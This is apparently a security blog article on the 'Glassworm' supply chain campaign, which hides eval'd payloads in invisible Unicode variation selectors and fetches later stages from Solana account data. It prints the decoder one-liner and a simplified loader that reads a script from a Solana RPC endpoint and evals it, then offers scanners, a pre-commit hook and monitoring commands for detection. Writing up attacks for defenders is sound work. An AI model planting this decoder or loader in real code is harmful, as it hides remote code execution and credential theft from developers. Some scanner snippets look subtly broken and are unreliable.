Glassworm: How Invisible Unicode Characters and Solana Are Powering the Biggest Supply Chain Attack of 2026
Between March 3–9, 2026, a threat actor known as Glassworm compromised over 150 GitHub repositories, multiple npm packages, and VS Code extensions — all using characters you literally cannot see. The payloads use Solana as a command-and-control delivery channel. If you write JavaScript or use open source packages, you need to understand this attack.
The Attack: What You Can't See Can Drain You
Glassworm exploits Private Use Area (PUA) Unicode characters — specifically ranges U+FE00–U+FE0F and U+E0100–U+E01EF — that render as completely invisible in every major code editor, terminal, and GitHub's code review interface.
Here's the decoder that turns invisible characters into executable code:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
That empty-looking string inside the backticks? It's packed with invisible Unicode characters. When decoded, they produce a full malicious payload that:
- Fetches instructions from a Solana account (not a traditional C2 server)
- Steals tokens, credentials, and secrets from the developer's environment
- Exfiltrates data through the same Solana-based channel
Why Solana as a C2 Channel?
Traditional malware uses HTTP endpoints for command-and-control. Those get taken down. Glassworm is smarter:
- Solana accounts are censorship-resistant — no hosting provider to report to
- On-chain data is permanent — payloads survive takedown attempts
- Blockchain reads are free — no rate limits, no IP logging
- Domain reputation tools are blind — security scanners don't flag Solana RPC calls
Here's what the second-stage loader typically looks like:
// Decoded payload (simplified)
const { Connection, PublicKey } = require('@solana/web3.js');
async function fetchPayload() {
const conn = new Connection('https://api.mainnet-beta.solana.com');
const accountKey = new PublicKey('GlA5w0rm...'); // Attacker's account
const info = await conn.getAccountInfo(accountKey);
// Account data contains the actual malicious script
const payload = info.data.toString('utf-8');
eval(payload); // Execute attacker's code
}
fetchPayload();
The attacker stores their malicious scripts as Solana account data. Updating the attack is as simple as a Solana transaction — no domain changes, no new infrastructure.
The Scale: 151+ Repositories Compromised
The March 2026 wave hit real, trusted projects:
| Repository | Stars | Impact |
|---|---|---|
| pedronauck/reworm | 1,460 | State management library |
| anomalyco/opencode-bench | 56 | AI coding benchmark (from SST org) |
| wasmer-examples/hono-wasmer-starter | 8 | Official Wasmer example |
| doczjs/docz-plugin-css | 39 | Documentation tooling |
Additionally, npm packages like @aifabrix/miso-client and @iflow-mcp/watercrawl-watercrawl-mcp were published with Glassworm payloads on March 12, 2026. A VS Code extension (quartz.quartz-markdown-editor) was also infected.
AI-Generated Cover Commits
What makes this campaign particularly dangerous: the malicious commits are wrapped in AI-generated cover changes — documentation tweaks, version bumps, small refactors that are stylistically consistent with each target project.
At 151+ different codebases, manual crafting isn't feasible. Glassworm is almost certainly using LLMs to:
- Analyze the target repo's coding style
- Generate convincing "normal" changes
- Embed the invisible payload within legitimate-looking commits
This is a preview of AI-assisted supply chain warfare — where social engineering scales through automation.
Detection: 5 Defenses You Need Now
1. Hex-Level Code Review for Dependencies
Visual review is useless against invisible characters. Use hex dumps:
# Check for PUA Unicode in your codebase
grep -rn $'\xef\xb8\x80\|\xef\xb8\x81\|\xef\xb8\x82\|\xef\xb8\x83' .
# Or use a broader scan for variation selectors
find . -name "*.js" -o -name "*.ts" | xargs -I{} python3 -c "
import sys
with open('{}', 'rb') as f:
data = f.read()
for i, b in enumerate(data):
if 0xFE00 <= ord(data[i:i+1].decode('utf-8', errors='ignore')) <= 0xFE0F:
print(f'ALERT: PUA Unicode found in {} at byte {i}')
" 2>/dev/null
2. A More Robust Scanner (Python)
#!/usr/bin/env python3
"""Scan files for Glassworm-style invisible Unicode payloads."""
import os
import sys
# Glassworm signature ranges
SUSPICIOUS_RANGES = [
(0xFE00, 0xFE0F), # Variation Selectors
(0xE0100, 0xE01EF), # Variation Selectors Supplement
(0x200B, 0x200F), # Zero-width characters
(0x2028, 0x2029), # Line/paragraph separators
(0xFEFF, 0xFEFF), # BOM (when mid-file)
(0x00AD, 0x00AD), # Soft hyphen
]
GLASSWORM_DECODER = "0xFE00" # Signature string in decoder
def is_suspicious(cp: int) -> bool:
return any(lo <= cp <= hi for lo, hi in SUSPICIOUS_RANGES)
def scan_file(path: str) -> list:
findings = []
try:
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
for lineno, line in enumerate(f, 1):
# Check for decoder signature
if GLASSWORM_DECODER in line:
findings.append((lineno, "CRITICAL", "Glassworm decoder pattern detected"))
# Count invisible characters
invisible = [(i, hex(ord(c))) for i, c in enumerate(line) if is_suspicious(ord(c))]
if len(invisible) > 3: # Threshold: 3+ invisible chars = suspicious
findings.append((lineno, "HIGH", f"{len(invisible)} invisible Unicode chars found"))
except Exception as e:
findings.append((0, "ERROR", str(e)))
return findings
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "."
extensions = {'.js', '.ts', '.mjs', '.cjs', '.jsx', '.tsx', '.json'}
total_findings = 0
for root, _, files in os.walk(target):
if 'node_modules' in root:
continue
for fname in files:
if any(fname.endswith(ext) for ext in extensions):
path = os.path.join(root, fname)
findings = scan_file(path)
for lineno, severity, msg in findings:
print(f"[{severity}] {path}:{lineno} — {msg}")
total_findings += 1
print(f"\nScan complete: {total_findings} finding(s)")
sys.exit(1 if total_findings else 0)
if __name__ == "__main__":
main()
3. Git Hook Prevention
Block invisible Unicode at commit time:
#!/bin/bash
# .git/hooks/pre-commit — Block Glassworm-style payloads
SUSPICIOUS=0
for file in $(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|jsx|tsx|mjs|cjs)$'); do
# Check for variation selectors (Glassworm signature)
if python3 -c "
import sys
with open('$file', 'r') as f:
text = f.read()
suspicious = sum(1 for c in text if 0xFE00 <= ord(c) <= 0xFE0F or 0xE0100 <= ord(c) <= 0xE01EF)
sys.exit(0 if suspicious == 0 else 1)
" 2>/dev/null; then
continue
else
echo "🚨 BLOCKED: Invisible Unicode detected in $file"
SUSPICIOUS=1
fi
done
if [ $SUSPICIOUS -eq 1 ]; then
echo "Commit blocked: Glassworm-style invisible payload detected."
echo "Run 'python3 glassworm_scanner.py' for details."
exit 1
fi
4. Lock Your Solana RPC Calls
If you're a Solana developer, monitor outbound RPC calls from your dev environment:
# Monitor for unexpected Solana RPC calls from Node.js processes
sudo tcpdump -i any -A 'port 443' | grep -E 'api\.mainnet-beta\.solana\.com|getAccountInfo'
5. Use Lockfiles + Integrity Checks
# Verify npm package integrity against known-good checksums
npm audit signatures
# Pin exact versions in package-lock.json
npm config set save-exact true
# Use npm's built-in provenance verification
npm audit --production
The Bigger Picture: Blockchain as Malware Infrastructure
Glassworm represents a paradigm shift in supply chain attacks:
| Traditional C2 | Blockchain C2 (Glassworm) |
|---|---|
| HTTP servers — takedowns work | Solana accounts — censorship-resistant |
| Domain blocklists effective | No domains to block |
| IP reputation catches anomalies | RPC calls look normal |
| Payload updates require new infra | Just send a Solana transaction |
| Single point of failure | Decentralized, persistent |
We're entering an era where the same properties that make blockchains valuable for DeFi — censorship resistance, immutability, permissionless access — also make them ideal malware infrastructure.
Security tooling needs to evolve. Static analysis should flag:
- Invisible Unicode above a threshold in any source file
- Dynamic imports from blockchain RPC endpoints
-
eval()calls with decoded buffer inputs - Variation selector codepoints in string literals
Action Items
-
Right now: Run the scanner above on your codebase and
node_modules - Today: Add the Git pre-commit hook to all active repositories
- This week: Review your CI pipeline for dependency integrity checks
- Ongoing: Monitor Aikido's Safe Chain or similar tools for real-time supply chain scanning
The attack surface has shifted. Smart contract exploits get the headlines, but your IDE might be the real vulnerability.
This article is part of my DeFi Security Research series. Follow for weekly deep dives into blockchain security threats, audit techniques, and defense patterns.
Top comments (0)